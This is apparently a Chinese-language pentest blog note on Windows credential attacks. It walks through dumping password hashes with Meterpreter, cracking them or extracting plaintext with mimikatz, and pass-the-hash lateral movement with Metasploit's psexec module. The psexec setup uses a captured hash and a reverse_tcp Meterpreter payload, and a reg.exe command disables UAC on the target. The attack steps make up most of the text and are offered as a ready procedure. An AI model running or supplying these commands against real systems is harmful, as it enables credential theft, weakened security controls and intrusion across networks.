Hash基础知识:
Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值
获取Hash值:
hashdump(systen权限)

meterpreter >run post/windows/gather/hashdump(system权限)
meterpreter > run post/windows/gather/smart_hashdump(system权限)
检查权限和系统类型
检查是否是域控制服务器
从注册表读取hash、注入Lsass进程
如果是08server并具有管埋员权限,直接getsystem尝试提权
如果是win7且UAC关闭并具有管理员权限,从注册表读取
03/XP直接getsystem,从注册表获取hash
其中在通过提权后获得的session(如bypassuac),不进行getsystem的时候getuid查看的仍是管理员权限,但实际已经提到了system权限,这种情况不进行彻底转换也可以运行hashdump了
拿到Hash值后第一种方法进行解密,可利用在线网站http://cmd5.com等,如果是使用CS拿下的运行mimikatz也有可能获取到明文。当无法获取到明文时考虑哈希传递
哈希传递
psexe有MSF,CobaltStrike和exe版本。
使用psexec前提需要目标机器开启445端口,可先进行一个端口扫描
创建/执行远程命令代码。
执行远程进程的前提条件是对方机器必须开启ipc,以及admin,否则无法执行。下面我们来看详细命令:
开启ipc$
net share ipc$
开启admin$
net share admin$
msf5 >use exploit/windows/smb/psexec
msf5 exploit(psexec)> set rhost 目标机IP
msf5 exploit(psexec)> set smbuser root(hashdump下来的)
msf5 exploit(psexec)> set smbpass aad3b435b51404eeaad3b435b51404ee:afc44ee351d61d00698796da06blebf(获取到的hash值)
msf5 exploit(psexec)> set payload windows/meterpreter/reverse_tcp
msf5 exploit(psexec)> set lhost kaliIP
msf5 exploit(psexec)> set port 3333
如果目标机器开启UAC,需要通过获得的meterpreter权限通过修改目标机注册表信息关闭掉UAC
可以使用 reg add /?查询帮助使用信息
下面是对注册表中UAC控制改为0(关闭UAC)
reg.exe ADD HKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /V EnableLUA /t REG DWORD /d 0 /f
ADD 后是注册表信息,/v 是值名 /d
关闭后需要进行重启才会生效 ,可以通过一些攻击手法进行重启。再次获得shell执行psexec的横向移动。前一篇的ATT&CK(一)中的横向移动也可以尝试使用这种方式进行。
